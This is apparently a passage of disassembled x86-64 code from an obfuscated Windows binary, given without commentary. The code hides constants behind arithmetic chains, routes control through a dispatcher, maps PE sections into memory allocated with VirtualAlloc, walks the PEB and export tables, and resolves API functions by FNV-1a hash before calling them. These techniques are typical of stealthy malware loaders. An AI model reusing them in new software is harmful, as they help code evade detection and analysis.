not ecx
add ecx, 0xa55f5fe2
xor ecx, 0xd1e335ee
rol ecx, 0xa
popf
pushf
not ecx
add ecx, 0xcf152833
xor ecx, 0xf0239517
rol ecx, 0xae
popf
jmp 0x1400beaba
call qword [rsp + 0x150]
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x64], 0
jmp 0x1400beb8b
mov eax, dword [rsp + 0x64]
jmp 0x1400beb31
inc eax
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
push rax
pushf
mov eax, 0x2ff06397
pushf
not eax
add eax, 0xb25cf003
xor eax, 0xaf352863
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xcbf0ecb2
xor eax, 0x9f6f0c2f
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x81280909
xor eax, 0xf37929a3
rol eax, 7
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x64], eax
je 0x1400bebe4
push rax
pushf
mov eax, 0xd97e6b3d
pushf
not eax
add eax, 0xb80b4bbf
xor eax, 0xd4ed938e
rol eax, 0x94
popf
pushf
not eax
add eax, 0x81e6c891
xor eax, 0xe9320565
rol eax, 0x65
popf
pushf
not eax
add eax, 0xe0b512f1
xor eax, 0xa8302e59
rol eax, 0x7e
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x73237c79
pushf
not eax
add eax, 0xfdcbf659
xor eax, 0xd6296b67
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xcd791cad
xor eax, 0x9b40c02b
rol eax, 0x89
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x1400bec7f
push rax
pushf
mov eax, 0xbea771b3
pushf
not eax
add eax, 0xb706fac8
xor eax, 0x8b08afb9
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xf463cde7
xor eax, 0xa4602904
rol eax, 0x85
popf
pushf
not eax
add eax, 0xc9ce160a
xor eax, 0xee24c377
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xfa3897e2
xor eax, 0xf0437693
rol eax, 0x13
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xb76d9a1b
pushf
not eax
add eax, 0xe73ff884
xor eax, 0xbe856d58
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf73b6b3f
xor eax, 0xf8818212
rol eax, 0x44
popf
pushf
not eax
add eax, 0xf5629a83
xor eax, 0xa0e47108
rol eax, 0xe
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x24]
call fcn.1400aaf1d
mov dword [rsp + 0x198], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0x94f1b3c7
pushf
not r8d
add r8d, 0xeb152634
xor r8d, 0xed522a45
rol r8d, 0x2d
popf
pushf
not r8d
add r8d, 0x9c579f2f
xor r8d, 0xd0b2c44f
rol r8d, 0x7e
popf
pushf
not r8d
add r8d, 0x9f36fdb0
xor r8d, 0xb6bed0cc
rol r8d, 0x18
popf
mov edx, eax
call fcn.140161ab2
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x378], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x378]
mov rcx, rax
call fcn.140081885
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x198]
mov edx, eax
call fcn.140161ab2
push rax
pushf
mov eax, 0x7e4aa522
pushf
not eax
add eax, 0xab3db8e1
xor eax, 0x9c6363b9
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xf161cb2e
xor eax, 0xa1cf0327
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xc7e0b4ac
xor eax, 0xb69d65a1
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xda25ffbd
xor eax, 0xb4423989
rol eax, 0xb2
popf
jmp 0x1400bb942
jmp 0x1400beb2c
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x250], rax
lea rdx, [0x1b2341571]
pushf
sub rdx, 0x7230f931
popf
lea rcx, [0x1ab0e65f9]
pushf
sub rcx, 0x6b0b49a9
popf
call fcn.140166ced
lea rcx, [0x1bb66c5b0]
pushf
sub rcx, 0x7b669030
popf
sub rax, rcx
mov qword [rsp + 0x230], rax
lea rdx, [0x182892bc6]
pushf
sub rdx, 0x42860f86
popf
lea rcx, [0x1839d0af2]
pushf
sub rcx, 0x4399ee92
popf
call fcn.140166ced
lea rcx, [0x1951f726f]
pushf
sub rcx, 0x551f3cef
popf
sub rax, rcx
mov qword [rsp + 0x238], rax
lea rdx, [0x1986956fc]
pushf
sub rdx, 0x58663abc
popf
lea rcx, [0x1b51958ff]
pushf
sub rcx, 0x75163c8f
popf
call fcn.140166ced
lea rcx, [0x18d13fbb1]
pushf
sub rcx, 0x4d13c631
popf
sub rax, rcx
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x230], 0
je 0x1400bef97
push rax
pushf
mov eax, 0x3265272e
pushf
not eax
add eax, 0xe2de875a
xor eax, 0xc8b103e2
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xf1a739b9
xor eax, 0xd8b4da96
rol eax, 0x1e
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x59e14c06
pushf
not eax
add eax, 0xaa3f901b
xor eax, 0x9fa801ea
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xfcbe8914
xor eax, 0x8e0f3f95
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x9d336847
xor eax, 0xc5931db0
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xbf371ce4
xor eax, 0xdd7750ab
rol eax, 7
popf
jmp 0x1400bb942
cmp qword [rsp + 0x238], 0
je 0x1400bf096
cmp qword [rsp + 0x240], 0
jne 0x1400bf03d
push rax
pushf
mov eax, 0x7334df84
pushf
not eax
add eax, 0xc71a629c
xor eax, 0xbcdfe2e9
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xb3ec6863
xor eax, 0xb4ecae01
rol eax, 0x12
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x758aa1e0
pushf
not eax
add eax, 0xbc0e1bcc
xor eax, 0xeadaaaa7
rol eax, 0xec
popf
pushf
not eax
add eax, 0xdf3b7d36
xor eax, 0xe404c4e7
rol eax, 0xee
popf
pushf
not eax
add eax, 0xa48d5628
xor eax, 0xe4b982ec
rol eax, 0x88
popf
pushf
not eax
add eax, 0xe1c9aa02
xor eax, 0x829c5e1f
rol eax, 0x50
popf
jmp 0x1400bb942
mov al, 0x8e
pushf
not al
add al, 0x2c
xor al, 0xd6
rol al, 0x54
popf
pushf
not al
add al, 0x79
xor al, 0xd4
rol al, 4
popf
jmp 0x1400c049f
lea rcx, [0x1b9398f8c]
pushf
sub rcx, 0x79395a0c
popf
call fcn.14011d355
mov dword [rsp + 0x1f8], eax
movsxd rax, dword [rsp + 0x1f8]
mov r9d, 0xba8caf59
pushf
not r9d
add r9d, 0x84d372ba
xor r9d, 0x8ec437fe
rol r9d, 0xc9
popf
pushf
not r9d
add r9d, 0xa895001c
xor r9d, 0xa0abc392
rol r9d, 0x29
popf
mov r8d, 0x506353a
pushf
not r8d
add r8d, 0xa804a405
xor r8d, 0xd5f14104
rol r8d, 0x82
popf
pushf
not r8d
add r8d, 0x91b82d9b
xor r8d, 0xaeb79fa1
rol r8d, 0xa9
popf
pushf
not r8d
add r8d, 0xf7dc3d0c
xor r8d, 0xf55008c0
rol r8d, 0xa6
popf
pushf
not r8d
add r8d, 0xcfcda61f
xor r8d, 0xa5a0b8f4
rol r8d, 0x61
popf
mov rdx, rax
xor ecx, ecx
jmp 0x1400bf1b8
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xb0], rax
lea rax, [0x1ae592fcb]
pushf
sub rax, 0x6e58fa4b
popf
mov rdi, qword [rsp + 0xb0]
mov rsi, rax
mov ecx, 0x6ec23597
pushf
not ecx
add ecx, 0xaf3a27f8
xor ecx, 0xdf92bf81
rol ecx, 0x5e
popf
pushf
not ecx
add ecx, 0xd19ff6f2
xor ecx, 0xd3b06eec
rol ecx, 0xd1
popf
pushf
not ecx
add ecx, 0x8e2fff1b
xor ecx, 0xf3048aef
rol ecx, 0xb
popf
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x250]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0xb0]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x1e8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x1e0], rax
push rax
pushf
mov eax, 0x6e55cbe1
pushf
not eax
add eax, 0xf4b65154
xor eax, 0xa050782b
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x969dd4bc
xor eax, 0xdc76a64f
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb96a71e5
xor eax, 0xfba7a0e2
rol eax, 0x73
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x1e0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xe0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x398], rax
mov eax, 0x5a00caa9
pushf
not eax
add eax, 0xbc5da68b
xor eax, 0x8c3e5da9
rol eax, 0x40
popf
pushf
not eax
add eax, 0xf41d9470
xor eax, 0xfc64fbcb
rol eax, 0x80
popf
pushf
not eax
add eax, 0x95fe4530
xor eax, 0xeec320db
rol eax, 0x55
popf
pushf
not eax
add eax, 0x85fa3a5a
xor eax, 0x92ebde2c
rol eax, 0x1c
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x398]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x258]
mov rcx, qword [rsp + 0xe0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xf0], rax
mov eax, dword [rsp + 0x25c]
mov dword [rsp + 0xf8], eax
mov rax, qword [rsp + 0xe8]
cmp qword [rsp + 0xf0], rax
je 0x1400bf49e
push rax
pushf
mov eax, 0x743dfc03
pushf
not eax
add eax, 0x8ebc89de
xor eax, 0xd5c5cd76
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x881d0dd1
xor eax, 0x955e4e39
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xcc584098
xor eax, 0xda1e6e91
rol eax, 0x48
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xb7659064
pushf
not eax
add eax, 0xa7808260
xor eax, 0xbb0c6243
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x969e33b8
xor eax, 0xad0c6a1f
rol eax, 0x59
popf
pushf
not eax
add eax, 0xf24fb15c
xor eax, 0x97d0d372
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x86d15d2c
xor eax, 0xa3b8bdb0
rol eax, 0x95
popf
jmp 0x1400bb942
mov dword [rsp + 0x98], 1
jmp 0x1400bf5c4
mov dword [rsp + 0x98], 0
push rax
pushf
mov eax, 0x13835ed5
pushf
not eax
add eax, 0xf687b10e
xor eax, 0xc35ad364
rol eax, 0x44
popf
pushf
not eax
add eax, 0xd31293b9
xor eax, 0xd44e4e38
rol eax, 0x55
popf
pushf
not eax
add eax, 0xd1f42617
xor eax, 0xae4cd5c7
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xa83880e7
xor eax, 0xff8893ea
rol eax, 0x44
popf
jmp 0x1400bb942
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x2d], al
movzx eax, byte [rsp + 0x2d]
test eax, eax
je 0x1400bf636
push rax
pushf
mov eax, 0x1fbf632c
pushf
not eax
add eax, 0xcb367918
xor eax, 0xfb1d3892
rol eax, 0x71
popf
pushf
not eax
add eax, 0xa5d45c13
xor eax, 0x8089f451
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xf2e79da5
xor eax, 0xcf9fd078
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xd87a1661
xor eax, 0x918de1b3
rol eax, 0xfb
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xe965a421
pushf
not eax
add eax, 0x81ed8a0e
xor eax, 0xca27dfa7
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xcfea6915
xor eax, 0x89427c38
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf1bd8a92
xor eax, 0x96fa25f9
rol eax, 0
popf
pushf
not eax
add eax, 0xa26d07cd
xor eax, 0xf6d5bb0d
rol eax, 0x8a
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x1fc], eax
mov eax, dword [rsp + 0x34]
jmp 0x1400bf6ae
dec eax
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x1fc], 0
je 0x1400bf6f5
push rax
pushf
mov eax, 0x16d0501d
pushf
not eax
add eax, 0x98272a8e
xor eax, 0xd77ed0e9
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x889a5577
xor eax, 0xbde911f2
rol eax, 0x9c
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xf0b5c188
pushf
not eax
add eax, 0x9c6d7286
xor eax, 0x8a01d657
rol eax, 0xae
popf
pushf
not eax
add eax, 0x8ee136f3
xor eax, 0xf5360285
rol eax, 0xb7
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x3d8]
mov dword [rsp + 0x9c], eax
movabs rax, 0x63c75d45ef2896f
pushf
not rax
add rax, 0x751c08c9
xor rax, 0x7c16e738
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x6307d630
xor rax, 0x48a0ef4e
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x6cdff816
xor rax, 0x43ae318c
rol rax, 0x9a
popf
pushf
not rax
add rax, 0x6cfbf93c
xor rax, 0x455140d4
rol rax, 0xbd
popf
shr rax, 0x20
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xe8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x34]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x248], rax
movabs rax, 0x56869f748b7d7a69
pushf
not rax
add rax, 0x5e622f63
xor rax, 0x6a44cf3b
rol rax, 0x44
popf
pushf
not rax
add rax, 0x71087293
xor rax, 0x44ebc807
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x6c8a761b
xor rax, 0x5739d585
rol rax, 0xf2
popf
mov ecx, 0x42cdabcb
pushf
not ecx
add ecx, 0xf92e7ca5
xor ecx, 0x8442e6fa
rol ecx, 5
popf
pushf
not ecx
add ecx, 0x953390c1
xor ecx, 0xaf1333a5
rol ecx, 0x19
popf
and rax, rcx
mov dword [rsp + 0x200], eax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x1d8], rax
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x2e], al
mov rax, qword [rsp + 0x1d8]
inc rax
mov qword [rsp + 0x1d8], rax
movzx eax, byte [rsp + 0x2e]
mov byte [rsp + 0x23], al
movsx eax, byte [rsp + 0x23]
test eax, eax
jne 0x1400bf8fa
push rax
pushf
mov eax, 0x88f1d6e1
pushf
not eax
add eax, 0xba53cfed
xor eax, 0xb9adbc4c
rol eax, 0x52
popf
pushf
not eax
add eax, 0xcdb873a7
xor eax, 0x9f9a5075
rol eax, 0xe9
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x707496e8
pushf
not eax
add eax, 0xeb986aa9
xor eax, 0xaaf6faf8
rol eax, 0x52
popf
pushf
not eax
add eax, 0x827bea1b
xor eax, 0xd84956ac
rol eax, 0x10
popf
pushf
not eax
add eax, 0xd78e956b
xor eax, 0xd6ac5ced
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xf439020d
xor eax, 0xe6d4b52f
rol eax, 0x35
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x148], eax
jmp 0x1400bfb4e
xor eax, eax
test eax, eax
je 0x1400bfa1b
push rax
pushf
mov eax, 0xe86046bd
pushf
not eax
add eax, 0xf8078c52
xor eax, 0x83d7da5c
rol eax, 0x20
popf
pushf
not eax
add eax, 0x8a0b01d1
xor eax, 0xca9bc3d5
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xa6f56c54
xor eax, 0x80a735e0
rol eax, 3
popf
pushf
not eax
add eax, 0xd05f3b73
xor eax, 0x9d2f4108
rol eax, 0x58
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xa55b9d72
pushf
not eax
add eax, 0x9d51660f
xor eax, 0x897b215a
rol eax, 0xea
popf
pushf
not eax
add eax, 0xe32b3fdb
xor eax, 0xa9ad0ff4
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xadb0876f
xor eax, 0xc12b83e4
rol eax, 0x67
popf
jmp 0x1400bb942
movsx eax, byte [rsp + 0x23]
or eax, 0x20
mov dword [rsp + 0xa0], eax
jmp 0x1400bfafa
movsx eax, byte [rsp + 0x23]
mov dword [rsp + 0xa0], eax
push rax
pushf
mov eax, 0x4e6e9791
pushf
not eax
add eax, 0xff756672
xor eax, 0xae177151
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xb8dc4bd0
xor eax, 0x9ce110de
rol eax, 0x99
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0x68]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x68], eax
jmp 0x1400bf893
mov eax, dword [rsp + 0x200]
cmp dword [rsp + 0x148], eax
jne 0x1400bfba4
push rax
pushf
mov eax, 0xbe8ccc75
pushf
not eax
add eax, 0xc2de9c18
xor eax, 0xe818d812
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x974b7265
xor eax, 0x88cd4060
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xd1d03e25
xor eax, 0xf3af0c43
rol eax, 0xd6
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x4f37ab51
pushf
not eax
add eax, 0x9e44ad8a
xor eax, 0xd1dcbc41
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xa2b2381e
xor eax, 0xd5bafe2a
rol eax, 0x36
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x3a0], rax
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x3a0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x3a8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x1e8], rax
jmp 0x1400bfe14
jmp 0x1400bf69e
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov rax, qword [rax]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x2f], 1
movzx eax, byte [rsp + 0x2f]
test eax, eax
jne 0x1400bfd69
push rax
pushf
mov eax, 0x54607a20
pushf
not eax
add eax, 0xde67f726
xor eax, 0xf286a56f
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xd3c7d479
xor eax, 0xa8a39ef9
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xce2705f9
xor eax, 0xd19d16b2
rol eax, 0x39
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xf996bb59
pushf
not eax
add eax, 0xd8773319
xor eax, 0xf1890251
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x855794b0
xor eax, 0xe7b1444e
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x9884e434
xor eax, 0xba7c76a3
rol eax, 0x31
popf
jmp 0x1400bb942
mov qword [rsp + 0x1e8], 0
push rax
pushf
mov eax, 0x2190dd9f
pushf
not eax
add eax, 0x8890fa8a
xor eax, 0xe6da9e16
rol eax, 0xe
popf
pushf
not eax
add eax, 0xd1c8d4b5
xor eax, 0x8bc6daf9
rol eax, 0x91
popf
pushf
not eax
add eax, 0xdc0773e8
xor eax, 0xe00ddb63
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xbfe33d4e
xor eax, 0xd74e9fd4
rol eax, 0xbb
popf
jmp 0x1400bb942
mov ecx, 0xb34b0291
pushf
not ecx
add ecx, 0xb063d900
xor ecx, 0xe883cb17
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0xe87e41f5
xor ecx, 0xb2435089
rol ecx, 0xdc
popf
jmp 0x1400bfe44
call qword [rsp + 0x1e8]
mov r8d, 0xd767c937
pushf
not r8d
add r8d, 0xd5a3f427
xor r8d, 0xba741255
rol r8d, 0xaa
popf
pushf
not r8d
add r8d, 0x821f8c68
xor r8d, 0xd65ff7e8
rol r8d, 0x49
popf
pushf
not r8d
add r8d, 0x88c273a7
xor r8d, 0xc210f638
rol r8d, 0x53
popf
mov edx, 0x1abc9c68
pushf
not edx
add edx, 0x90504c07
xor edx, 0xaba3a615
rol edx, 0xa4
popf
pushf
not edx
add edx, 0x8a4b2df8
xor edx, 0xa74a953b
rol edx, 0x4c
popf
mov rcx, qword [rsp + 0x1f0]
call fcn.140161ab2
mov r8d, 0x71510a38
pushf
not r8d
add r8d, 0x8c60c78b
xor r8d, 0x83dd5b04
rol r8d, 0xf5
popf
pushf
not r8d
add r8d, 0xa9cb689e
xor r8d, 0xdff84e41
rol r8d, 0xd4
popf
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x1f0]
call fcn.140081885
mov r8d, 0xc82b2b44
pushf
not r8d
add r8d, 0x89a6a1b7
xor r8d, 0xe31446b9
rol r8d, 0xf0
popf
pushf
not r8d
add r8d, 0x8d0ee8d0
xor r8d, 0xf09feb29
rol r8d, 0xbb
popf
pushf
not r8d
add r8d, 0xf2523797
xor r8d, 0xd29c6c4c
rol r8d, 0xcf
popf
pushf
not r8d
add r8d, 0x8f09bb84
xor r8d, 0xf1d98148
rol r8d, 0x7e
popf
mov edx, 0x673f277d
pushf
not edx
add edx, 0xf57d6017
xor edx, 0xf4ab942c
rol edx, 0x27
popf
pushf
not edx
add edx, 0xe7174fa5
xor edx, 0xe43507b0
rol edx, 0xe6
popf
pushf
not edx
add edx, 0xf33b5283
xor edx, 0xd5be7cb4
rol edx, 0x1f
popf
mov rcx, qword [rsp + 0xb8]
call fcn.140161ab2
mov r8d, 0x6639631b
pushf
not r8d
add r8d, 0xd593a998
xor r8d, 0x80269317
rol r8d, 0x1d
popf
pushf
not r8d
add r8d, 0xfb6de101
xor r8d, 0x9025071c
rol r8d, 0x30
popf
pushf
not r8d
add r8d, 0xf7da8840
xor r8d, 0xab618023
rol r8d, 0x4c
popf
pushf
not r8d
add r8d, 0xaaa653b7
xor r8d, 0xb8f9e1d8
rol r8d, 0xa5
popf
lea rdx, [rsp + 0x3c8]
mov rcx, qword [rsp + 0xb8]
call fcn.1400733aa
mov r8d, 0x95074faa
pushf
not r8d
add r8d, 0xf1b001ee
xor r8d, 0xd2eb7248
rol r8d, 0xd2
popf
pushf
not r8d
add r8d, 0xe8c1853e
xor r8d, 0xb7b008f8
rol r8d, 0x8a
popf
pushf
not r8d
add r8d, 0x9351c303
xor r8d, 0xcbf7b075
rol r8d, 0xaa
popf
pushf
not r8d
add r8d, 0xbbaa4ab8
xor r8d, 0x94027b80
rol r8d, 0xcd
popf
lea rdx, [rsp + 0x1f0]
mov rcx, qword [rsp + 0xb8]
call fcn.140081885
push rax
pushf
mov eax, 0x4f656b09
pushf
not eax
add eax, 0x85ed5537
xor eax, 0xf98e186c
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x885ec748
xor eax, 0x8b0daae4
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xcafc9fc0
xor eax, 0xc1533814
rol eax, 0x71
popf
jmp 0x1400bb942
xor eax, eax
cmp eax, 1
je 0x1400c0171
push rax
pushf
mov eax, 0x140bea66
pushf
not eax
add eax, 0x800014a0
xor eax, 0xc015a80a
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xf2090fd6
xor eax, 0xd2d52ad2
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xbeeb7ab6
xor eax, 0xe308700e
rol eax, 0xbe
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xe83d8469
pushf
not eax
add eax, 0xbff02c92
xor eax, 0x9bf13111
rol eax, 0x87
popf
pushf
not eax
add eax, 0xdc88fd5a
xor eax, 0xbb4516c7
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd8699b74
xor eax, 0xe0335241
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd160ec87
xor eax, 0xe359d02e
rol eax, 0x9e
popf
jmp 0x1400bb942
mov r8d, 0xf16e1fa7
pushf
not r8d
add r8d, 0xd563aa9d
xor r8d, 0xa4ff53ab
rol r8d, 0xc7
popf
pushf
not r8d
add r8d, 0xbe4c7fb9
xor r8d, 0xc346d4b4
rol r8d, 0xd
popf
pushf
not r8d
add r8d, 0xd850ff4e
xor r8d, 0xfe73d081
rol r8d, 0xf8
popf
pushf
not r8d
add r8d, 0xe078655b
xor r8d, 0xc52ea5eb
rol r8d, 0x84
popf
lea rdx, [rsp + 0x14c]
mov rcx, qword [rsp + 0x250]
call fcn.1400733aa
cmp dword [rsp + 0x14c], 0x69
jne 0x1400c0286
push rax
pushf
mov eax, 0xa11b4880
pushf
not eax
add eax, 0xd70cf303
xor eax, 0xf485d54f
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x8e01fb8d
xor eax, 0xd5d36bc8
rol eax, 0x80
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xdb5ce749
pushf
not eax
add eax, 0x8ac8c4a7
xor eax, 0xc43d5e1e
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x8b717989
xor eax, 0xfd4a0aef
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x8be9760b
xor eax, 0xd1af2a51
rol eax, 0x3e
popf
jmp 0x1400bb942
mov r8d, 0x5611079a
pushf
not r8d
add r8d, 0xe1edb95d
xor r8d, 0xde79af31
rol r8d, 0x7f
popf
pushf
not r8d
add r8d, 0x8cd47450
xor r8d, 0xe203e4d6
rol r8d, 0x12
popf
lea rdx, [rsp + 0x3c8]
mov rcx, qword [rsp + 0xb8]
call fcn.140081885
mov r8d, 0xae9602e5
pushf
not r8d
add r8d, 0xcd730e4a
xor r8d, 0xb9b7be29
rol r8d, 0xcb
popf
pushf
not r8d
add r8d, 0x89f16a37
xor r8d, 0xa9a7f34a
rol r8d, 0xad
popf
pushf
not r8d
add r8d, 0xdc2fba55
xor r8d, 0xff1387d6
rol r8d, 0xd9
popf
pushf
not r8d
add r8d, 0x822bdafc
xor r8d, 0xe5a186fb
rol r8d, 0xc0
popf
mov edx, 0xf47e07fb
pushf
not edx
add edx, 0xce6c9105
xor edx, 0xf5725780
rol edx, 0xb4
popf
pushf
not edx
add edx, 0xfb93d778
